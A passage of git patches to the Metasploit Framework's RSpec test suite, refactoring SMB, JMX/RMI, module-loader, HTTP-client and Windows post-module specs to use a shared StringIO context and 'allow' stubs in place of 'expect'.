Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -312,13 +295,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when existent folder path" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_find_file_full_directory_info(client, folder_path)).to eq(existent_folder_file_full_res_length) + expect(mod.smb_cmd_find_file_full_directory_info(msf_io, folder_path)).to eq(existent_folder_file_full_res_length) end it "sends a TRANSACTION2 response with the found FileName in SMB Data" do - mod.smb_cmd_find_file_full_directory_info(client, folder_path) - client.seek(0) - res = client.read + mod.smb_cmd_find_file_full_directory_info(msf_io, folder_path) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) From d5d177b78232c1b99fd8d906dbccc6dc75af2ba9 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 25 Nov 2015 11:20:03 -0600 Subject: [PATCH 1550/2172] Use Msf::StringIO on query_spec --- .../share/information_level/query_spec.rb | 126 ++++++++---------- 1 file changed, 52 insertions(+), 74 deletions(-) diff --git a/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb index 88133d9ec8..277ff933d8 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb @@ -7,6 +7,8 @@ require 'rex/proto/smb/constants' RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do + include_context "Msf::StringIO" + subject(:mod) do mod = Msf::Exploit.new mod.extend described_class @@ -15,15 +17,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod end - let(:client_string) { '' } - let(:client) { - StringIO.new(client_string).tap do |string_io| - def string_io.put(data) - write data - end - end - } - let(:default_info_basic_res_length) { 101 } let(:default_info_basic_res) do "\x00\x00\x00\x61\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x88\x01\xc8" + @@ -74,8 +67,9 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do let(:existent_path_info_network_res_length) { 117 } before(:each) do + msf_io.string = '' mod.instance_variable_set('@state', { - client => { + msf_io => { :multiplex_id => 0x41424344, :process_id => 0x45464748, :file_id => 0xdead, @@ -92,13 +86,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#send_info_basic_res" do context "when no opts" do it "returns the number of bytes sent" do - expect(mod.send_info_basic_res(client)).to eq(default_info_basic_res_length) + expect(mod.send_info_basic_res(msf_io)).to eq(default_info_basic_res_length) end it "sends a default TRANSACTION2 response" do - mod.send_info_basic_res(client) - client.seek(0) - res = client.read + mod.send_info_basic_res(msf_io) + res = msf_io.read expect(res).to eq(default_info_basic_res) end end @@ -107,13 +100,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#send_info_standard_res" do context "when no opts" do it "returns the number of bytes sent" do - expect(mod.send_info_standard_res(client)).to eq(default_info_standard_res_length) + expect(mod.send_info_standard_res(msf_io)).to eq(default_info_standard_res_length) end it "sends a default TRANSACTION2 response" do - mod.send_info_standard_res(client) - client.seek(0) - res = client.read + mod.send_info_standard_res(msf_io) + res = msf_io.read expect(res).to eq(default_info_standard_res) end end @@ -122,13 +114,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#send_info_network_res" do context "when no opts" do it "returns the number of bytes sent" do - expect(mod.send_info_network_res(client)).to eq(default_info_network_res_length) + expect(mod.send_info_network_res(msf_io)).to eq(default_info_network_res_length) end it "sends a default TRANSACTION2 response" do - mod.send_info_network_res(client) - client.seek(0) - res = client.read + mod.send_info_network_res(msf_io) + res = msf_io.read expect(res).to eq(default_info_network_res) end end @@ -137,13 +128,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#smb_cmd_trans_query_file_info_basic" do context "when non existent fid" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_trans_query_file_info_basic(client, non_existent_fid)).to eq(error_res_length) + expect(mod.smb_cmd_trans_query_file_info_basic(msf_io, non_existent_fid)).to eq(error_res_length) end it "sends a TRANSACTION2 response with SMB_STATUS_OBJECT_NAME_NOT_FOUND error to the client" do - mod.smb_cmd_trans_query_file_info_basic(client, non_existent_fid) - client.seek(0) - res = client.read + mod.smb_cmd_trans_query_file_info_basic(msf_io, non_existent_fid) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -154,13 +144,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when existent file fid" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_trans_query_file_info_basic(client, file_fid)).to eq(existent_fid_info_basic_res_length) + expect(mod.smb_cmd_trans_query_file_info_basic(msf_io, file_fid)).to eq(existent_fid_info_basic_res_length) end it "sends a TRANSACTION2 response with SMB_EXT_FILE_ATTR_NORMAL ExtFileAttributes" do - mod.smb_cmd_trans_query_file_info_basic(client, file_fid) - client.seek(0) - res = client.read + mod.smb_cmd_trans_query_file_info_basic(msf_io, file_fid) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -177,13 +166,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when existent folder fid" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_trans_query_file_info_basic(client, folder_fid)).to eq(existent_fid_info_basic_res_length) + expect(mod.smb_cmd_trans_query_file_info_basic(msf_io, folder_fid)).to eq(existent_fid_info_basic_res_length) end it "sends a TRANSACTION2 response with SMB_EXT_FILE_ATTR_DIRECTORY ExtFileAttributes" do - mod.smb_cmd_trans_query_file_info_basic(client, folder_fid) - client.seek(0) - res = client.read + mod.smb_cmd_trans_query_file_info_basic(msf_io, folder_fid) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -201,13 +189,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#smb_cmd_trans_query_file_info_standard" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_trans_query_file_info_standard(client, non_existent_fid)).to eq(info_standard_res_length) + expect(mod.smb_cmd_trans_query_file_info_standard(msf_io, non_existent_fid)).to eq(info_standard_res_length) end it "always sends a TRANSACTION2 response with SMB_QUERY_FILE_STANDARD_INFO about the shared file" do - mod.smb_cmd_trans_query_file_info_standard(client, non_existent_fid) - client.seek(0) - res = client.read + mod.smb_cmd_trans_query_file_info_standard(msf_io, non_existent_fid) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -225,13 +212,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#smb_cmd_trans_query_path_info_basic" do context "when non existent path" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_trans_query_path_info_basic(client, non_existent_path)).to eq(error_res_length) + expect(mod.smb_cmd_trans_query_path_info_basic(msf_io, non_existent_path)).to eq(error_res_length) end it "sends a TRANSACTION2 response with SMB_STATUS_OBJECT_NAME_NOT_FOUND error to the client" do - mod.smb_cmd_trans_query_path_info_basic(client, non_existent_path) - client.seek(0) - res = client.read + mod.smb_cmd_trans_query_path_info_basic(msf_io, non_existent_path) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -242,13 +228,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when existent file path" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_trans_query_path_info_basic(client, file_path)).to eq(existent_path_info_basic_res_length) + expect(mod.smb_cmd_trans_query_path_info_basic(msf_io, file_path)).to eq(existent_path_info_basic_res_length) end it "sends a TRANSACTION2 response with SMB_EXT_FILE_ATTR_NORMAL ExtFileAttributes" do - mod.smb_cmd_trans_query_path_info_basic(client, file_path) - client.seek(0) - res = client.read + mod.smb_cmd_trans_query_path_info_basic(msf_io, file_path) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -265,13 +250,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when existent folder path" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_trans_query_path_info_basic(client, folder_path)).to eq(existent_path_info_basic_res_length) + expect(mod.smb_cmd_trans_query_path_info_basic(msf_io, folder_path)).to eq(existent_path_info_basic_res_length) end it "sends a TRANSACTION2 response with SMB_EXT_FILE_ATTR_DIRECTORY ExtFileAttributes" do - mod.smb_cmd_trans_query_path_info_basic(client, folder_path) - client.seek(0) - res = client.read + mod.smb_cmd_trans_query_path_info_basic(msf_io, folder_path) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -290,13 +274,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#smb_cmd_trans_query_path_info_standard" do context "when non existent path" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_trans_query_path_info_standard(client, non_existent_path)).to eq(error_res_length) + expect(mod.smb_cmd_trans_query_path_info_standard(msf_io, non_existent_path)).to eq(error_res_length) end it "sends a TRANSACTION2 response with SMB_STATUS_OBJECT_NAME_NOT_FOUND error to the client" do - mod.smb_cmd_trans_query_path_info_standard(client, non_existent_path) - client.seek(0) - res = client.read + mod.smb_cmd_trans_query_path_info_standard(msf_io, non_existent_path) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -307,13 +290,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when existent file path" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_trans_query_path_info_standard(client, file_path)).to eq(existent_path_info_standard_res_length) + expect(mod.smb_cmd_trans_query_path_info_standard(msf_io, file_path)).to eq(existent_path_info_standard_res_length) end it "sends a TRANSACTION2 response with the Directory field unset" do - mod.smb_cmd_trans_query_path_info_standard(client, file_path) - client.seek(0) - res = client.read + mod.smb_cmd_trans_query_path_info_standard(msf_io, file_path) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -330,13 +312,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when existent folder path" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_trans_query_path_info_standard(client, folder_path)).to eq(existent_path_info_standard_res_length) + expect(mod.smb_cmd_trans_query_path_info_standard(msf_io, folder_path)).to eq(existent_path_info_standard_res_length) end it "sends a TRANSACTION2 response with the Directory field set" do - mod.smb_cmd_trans_query_path_info_standard(client, folder_path) - client.seek(0) - res = client.read + mod.smb_cmd_trans_query_path_info_standard(msf_io, folder_path) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -356,13 +337,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#smb_cmd_trans_query_path_info_network" do context "when non existent path" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_trans_query_path_info_network(client, non_existent_path)).to eq(error_res_length) + expect(mod.smb_cmd_trans_query_path_info_network(msf_io, non_existent_path)).to eq(error_res_length) end it "sends a TRANSACTION2 response with SMB_STATUS_OBJECT_NAME_NOT_FOUND error to the client" do - mod.smb_cmd_trans_query_path_info_network(client, non_existent_path) - client.seek(0) - res = client.read + mod.smb_cmd_trans_query_path_info_network(msf_io, non_existent_path) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -373,13 +353,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when existent file path" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_trans_query_path_info_network(client, file_path)).to eq(existent_path_info_network_res_length) + expect(mod.smb_cmd_trans_query_path_info_network(msf_io, file_path)).to eq(existent_path_info_network_res_length) end it "sends a TRANSACTION2 response with SMB_EXT_FILE_ATTR_NORMAL ExtFileAttributes" do - mod.smb_cmd_trans_query_path_info_network(client, file_path) - client.seek(0) - res = client.read + mod.smb_cmd_trans_query_path_info_network(msf_io, file_path) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -396,13 +375,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when existent folder path" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_trans_query_path_info_network(client, folder_path)).to eq(existent_path_info_network_res_length) + expect(mod.smb_cmd_trans_query_path_info_network(msf_io, folder_path)).to eq(existent_path_info_network_res_length) end it "sends a TRANSACTION2 response with SMB_EXT_FILE_ATTR_DIRECTORY ExtFileAttributes" do - mod.smb_cmd_trans_query_path_info_network(client, folder_path) - client.seek(0) - res = client.read + mod.smb_cmd_trans_query_path_info_network(msf_io, folder_path) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) From aca4c6a986a510dc7b061070daea68287bfa7a4b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 25 Nov 2015 12:09:11 -0600 Subject: [PATCH 1551/2172] Change include_context on jmx specs --- .../exploit/remote/java/rmi/client/jmx/connection_spec.rb | 5 ++--- .../core/exploit/remote/java/rmi/client/jmx/server_spec.rb | 4 +++- .../msf/core/exploit/remote/java/rmi/client/registry_spec.rb | 5 +++-- spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb | 5 +++-- 4 files changed, 11 insertions(+), 8 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb index 3c9d65eede..415b7f1620 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb @@ -7,6 +7,8 @@ require 'msf/core/exploit/java/rmi/client' RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do + include_context "Msf::StringIO" + let(:name_create) { 'javax.management.loading.MLet' } let(:remote_address) do @@ -22,7 +24,6 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do describe "#send_jmx_get_object_instance" do context "when the object exists" do - include_context "Msf::StringIO" # # lets @@ -58,7 +59,6 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do describe "#send_jmx_create_mbean" do context "when the object is created successfully" do - include_context "Msf::StringIO" # # lets @@ -92,7 +92,6 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do describe "#send_jmx_invoke" do context "when the remote method is called successfully" do - include_context "Msf::StringIO" # # lets diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb index 8d366ba361..ee4eeeb008 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb @@ -6,6 +6,9 @@ require 'rex/proto/rmi' require 'msf/core/exploit/java/rmi/client' RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server do + + include_context "Msf::StringIO" + subject(:instance) { klass.new } @@ -18,7 +21,6 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server do describe "#send_new_client" do context "when there is an RMIServerImpl_Stub interface" do - include_context "Msf::StringIO" # # lets diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb index bf2391c181..dbfb17e064 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb @@ -6,6 +6,9 @@ require 'rex/proto/rmi' require 'msf/core/exploit/java/rmi/client' RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do + + include_context "Msf::StringIO" + let(:name) do 'jmxrmi' end @@ -21,8 +24,6 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do mod end - include_context "Msf::StringIO" - describe "#send_registry_list" do context "when there aren't names registered" do let(:list_empty_response) { diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb index bdafc59d51..ddbc89f2d3 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb @@ -6,6 +6,9 @@ require 'rex/proto/rmi' require 'msf/core/exploit/java/rmi/client' RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client do + + include_context "Msf::StringIO" + subject(:instance) { klass.new } @@ -18,8 +21,6 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client do end } - include_context "Msf::StringIO" - describe "#send_header" do it "returns the number of bytes sent" do expect(instance.send_header(sock: msf_io)).to eq(13) From 605756a500e7bc02066122c7c6f56c241bf9a542 Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Tue, 8 Dec 2015 10:34:29 -0600 Subject: [PATCH 1552/2172] and receive needed to be and_return --- spec/lib/msf/core/modules/loader/base_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index 0400c28422..e98b4fa7df 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -337,7 +337,7 @@ RSpec.describe Msf::Modules::Loader::Base do it 'should set the parent_path on the namespace_module to match the parent_path passed to #load_module' do allow(module_manager).to receive(:on_module_load) - allow(subject).to receive(:read_module_content).and_receive(module_content) + allow(subject).to receive(:read_module_content).and_return(module_content) expect(subject.load_module(parent_path, type, module_reference_name)).to be_truthy From bf9da1440ec2402efbbc650dfc7d8e25d6e7bf37 Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Tue, 8 Dec 2015 11:27:00 -0600 Subject: [PATCH 1553/2172] change module_manager to allow from expect --- spec/lib/msf/core/modules/loader/base_spec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index e98b4fa7df..f7e552540c 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -481,14 +481,14 @@ RSpec.describe Msf::Modules::Loader::Base do expect(@namespace_module).to receive(:module_eval_with_lexical_scope).with(module_content, module_path) metasploit_class = double('Metasploit Class', :parent => @namespace_module) - expect(@namespace_module).to receive(:metasploit_class!).and_return(metasploit_class) + allow(@namespace_module).to receive(:metasploit_class!).and_return(metasploit_class) expect(subject).to receive(:namespace_module_transaction).and_yield(@namespace_module) expect(subject).to receive(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) @module_load_error_by_path = {} - expect(module_manager).to receive(:module_load_error_by_path).and_return(@module_load_error_by_path) + allow(module_manager).to receive(:module_load_error_by_path).and_return(@module_load_error_by_path) end it 'should check for version compatibility' do From 93d4be23016dc798817e9ecf34f00a1786b9af57 Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Tue, 8 Dec 2015 14:29:16 -0600 Subject: [PATCH 1554/2172] replace stubbing expects with allow statements --- spec/lib/msf/core/modules/loader/base_spec.rb | 4 ++-- spec/lib/msf/core/modules/loader/directory_spec.rb | 4 ++-- spec/lib/rex/proto/http/client_spec.rb | 12 ++++++------ .../shared/examples/msf/module_manager/cache.rb | 4 ++-- 4 files changed, 12 insertions(+), 12 deletions(-) diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index f7e552540c..9a7fb9bff3 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -419,7 +419,7 @@ RSpec.describe Msf::Modules::Loader::Base do allow(@namespace_module).to receive(:module_eval_with_lexical_scope).and_raise(error) @module_load_error_by_path = {} - expect(module_manager).to receive(:module_load_error_by_path).and_return(@module_load_error_by_path) + allow(module_manager).to receive(:module_load_error_by_path).and_return(@module_load_error_by_path) expect(error).to receive(:backtrace).and_return(backtrace) end @@ -541,7 +541,7 @@ RSpec.describe Msf::Modules::Loader::Base do before(:each) do expect(@namespace_module).to receive(:version_compatible!).with(module_path, module_reference_name) - expect(module_manager).to receive(:on_module_load) + allow(module_manager).to receive(:on_module_load) end context 'without metasploit_class' do diff --git a/spec/lib/msf/core/modules/loader/directory_spec.rb b/spec/lib/msf/core/modules/loader/directory_spec.rb index 70818f0104..c37b8736f5 100644 --- a/spec/lib/msf/core/modules/loader/directory_spec.rb +++ b/spec/lib/msf/core/modules/loader/directory_spec.rb @@ -107,8 +107,8 @@ RSpec.describe Msf::Modules::Loader::Directory do end before(:each) do - expect(module_manager).to receive(:file_changed?).and_return(true) - expect(module_manager).to receive(:module_load_error_by_path).and_return({}) + allow(module_manager).to receive(:file_changed?).and_return(true) + allow(module_manager).to receive(:module_load_error_by_path).and_return({}) end it 'should not raise an error' do diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index 7e820ea176..35e10cd894 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -112,16 +112,16 @@ RSpec.describe Rex::Proto::Http::Client do let(:pass) { "pass" } it "should not send creds on the first request in order to induce a 401" do - req = cli.request_cgi + req = subject.request_cgi expect(req.to_s).not_to match("Authorization:") end it "should send creds after receiving a 401" do conn = double - expect(conn).to receive(:put) - expect(conn).to receive(:shutdown) - expect(conn).to receive(:close) - expect(conn).to receive(:closed?).and_return(false) + allow(conn).to receive(:put) + allow(conn).to receive(:shutdown) + allow(conn).to receive(:close) + allow(conn).to receive(:closed?).and_return(false) expect(conn).to receive(:get_once).and_return(first_response, authed_response) expect(conn).to receive(:put) do |str_request| @@ -135,7 +135,7 @@ RSpec.describe Rex::Proto::Http::Client do expect(cli).to receive(:_send_recv).twice.and_call_original - expect(Rex::Socket::Tcp).to receive(:create).and_return(conn) + allow(Rex::Socket::Tcp).to receive(:create).and_return(conn) opts = { "username" => user, "password" => pass} req = cli.request_cgi(opts) diff --git a/spec/support/shared/examples/msf/module_manager/cache.rb b/spec/support/shared/examples/msf/module_manager/cache.rb index 3bb54848b6..6149753ac9 100644 --- a/spec/support/shared/examples/msf/module_manager/cache.rb +++ b/spec/support/shared/examples/msf/module_manager/cache.rb @@ -222,7 +222,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do context '#refresh_cache_from_module_files' do before(:each) do - expect(module_manager).to receive(:framework_migrated?).and_return(framework_migrated?) + allow(module_manager).to receive(:framework_migrated?).and_return(framework_migrated?) end context 'with framework migrated' do @@ -360,7 +360,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do end before(:each) do - expect(module_manager).to receive(:framework_migrated?).and_return(framework_migrated?) + allow(module_manager).to receive(:framework_migrated?).and_return(framework_migrated?) end context 'with framework migrated' do From 2fc0c0b326be412b0c9a98d05baecec651dadd8d Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Tue, 8 Dec 2015 14:42:42 -0600 Subject: [PATCH 1555/2172] switch expect stubs in ui_driver shared context to allows --- spec/support/shared/contexts/msf/ui_driver.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/spec/support/shared/contexts/msf/ui_driver.rb b/spec/support/shared/contexts/msf/ui_driver.rb index 5f40aef334..e05588d053 100644 --- a/spec/support/shared/contexts/msf/ui_driver.rb +++ b/spec/support/shared/contexts/msf/ui_driver.rb @@ -4,16 +4,16 @@ RSpec.shared_context 'Msf::UIDriver' do 'Driver', :framework => framework ).tap { |driver| - expect(driver).to receive(:on_command_proc=).with(kind_of(Proc)) - expect(driver).to receive(:print_line).with(kind_of(String)) do |string| + allow(driver).to receive(:on_command_proc=).with(kind_of(Proc)) + allow(driver).to receive(:print_line).with(kind_of(String)) do |string| @output ||= [] @output.concat string.split("\n") end - expect(driver).to receive(:print_status).with(kind_of(String)) do |string| + allow(driver).to receive(:print_status).with(kind_of(String)) do |string| @output ||= [] @output.concat string.split("\n") end - expect(driver).to receive(:print_error).with(kind_of(String)) do |string| + allow(driver).to receive(:print_error).with(kind_of(String)) do |string| @error ||= [] @error.concat string.split("\n") end From 69bb683d0a9776374653879605832324b4a6d672 Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Tue, 8 Dec 2015 15:14:16 -0600 Subject: [PATCH 1556/2172] fix typo in runas spec and change some more expects to allow --- spec/lib/msf/core/post/windows/runas_spec.rb | 14 ++++++-------- 1 file changed, 6 insertions(+), 8 deletions(-) diff --git a/spec/lib/msf/core/post/windows/runas_spec.rb b/spec/lib/msf/core/post/windows/runas_spec.rb index 4c544ab5bd..9402d01aec 100644 --- a/spec/lib/msf/core/post/windows/runas_spec.rb +++ b/spec/lib/msf/core/post/windows/runas_spec.rb @@ -14,15 +14,15 @@ RSpec.describe Msf::Post::Windows::Runas do let(:advapi32) do advapi32 = double('advapi32') - expect(advapi32).to receive(:CreateProcessWithLogonW).and_return({ + allow(advapi32).to receive(:CreateProcessWithLogonW).and_return({ 'return' => true, 'lpProcessInformation' => process_info }) - expect(advapi32).to receive(:CreateProcessAsUserA).and_return ({ + allow(advapi32).to receive(:CreateProcessAsUserA).and_return ({ 'return' => true, 'lpProcessInformation' => process_info }) - expect(advapi32).to receive(:LogonUserA).and_return ({ + allow(advapi32).to receive(:LogonUserA).and_return ({ 'return' => true, 'phToken' => phToken }) @@ -34,10 +34,10 @@ RSpec.describe Msf::Post::Windows::Runas do end let(:subject) do - mod = Module.new + mod = double(Module.new) mod.extend described_class stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, :print_error ] - stubs.each { |meth| expect(mod).to receive(meth) } + stubs.each { |meth| allow(mod).to receive(meth) } allow(mod).to receive_message_chain("session.railgun.kernel32").and_return(kernel32) allow(mod).to receive_message_chain("session.railgun.advapi32").and_return(advapi32) mod @@ -53,9 +53,7 @@ RSpec.describe Msf::Post::Windows::Runas do end it "should return a nil on failure" do - expect(advapi32).to receive(:CreateProcessWithLogonW) - expect(kernel32).not_to receive(:CloseHandle) - advapi32.to receive(:CreateProcessWithLogonW).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') + expect(advapi32).to receive(:CreateProcessWithLogonW).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') expect(subject.create_process_with_logon(nil, 'bob', 'pass', nil, 'cmd.exe')).to be nil end end From 71ce9b377a2a013db7080985a2c963cbeb29016c Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Tue, 8 Dec 2015 15:22:11 -0600 Subject: [PATCH 1557/2172] change module manager stub from expect to allow --- spec/support/shared/examples/msf/module_manager/loading.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/support/shared/examples/msf/module_manager/loading.rb b/spec/support/shared/examples/msf/module_manager/loading.rb index c92e0dc642..7a75a7abe6 100644 --- a/spec/support/shared/examples/msf/module_manager/loading.rb +++ b/spec/support/shared/examples/msf/module_manager/loading.rb @@ -125,7 +125,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do end before(:each) do - expect(klass).to receive(:parent).and_return(namespace_module) + allow(klass).to receive(:parent).and_return(namespace_module) end it "should add module to type's module_set" do From 5c733a3b6d7b38797981d70b096b7e234dd30ac6 Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Wed, 9 Dec 2015 09:02:24 -0600 Subject: [PATCH 1558/2172] fix stub on module loader test --- spec/lib/msf/core/modules/loader/base_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index 9a7fb9bff3..d32fa8268b 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -421,7 +421,7 @@ RSpec.describe Msf::Modules::Loader::Base do @module_load_error_by_path = {} allow(module_manager).to receive(:module_load_error_by_path).and_return(@module_load_error_by_path) - expect(error).to receive(:backtrace).and_return(backtrace) + allow(error).to receive(:backtrace).and_return(backtrace) end context 'with version compatibility' do From b84bd0327dc07d1967b579f34969f20e36e8e9db Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Wed, 9 Dec 2015 10:02:35 -0600 Subject: [PATCH 1559/2172] fix MSSQL test stubs --- spec/lib/msf/core/post/windows/mssql_spec.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/spec/lib/msf/core/post/windows/mssql_spec.rb b/spec/lib/msf/core/post/windows/mssql_spec.rb index 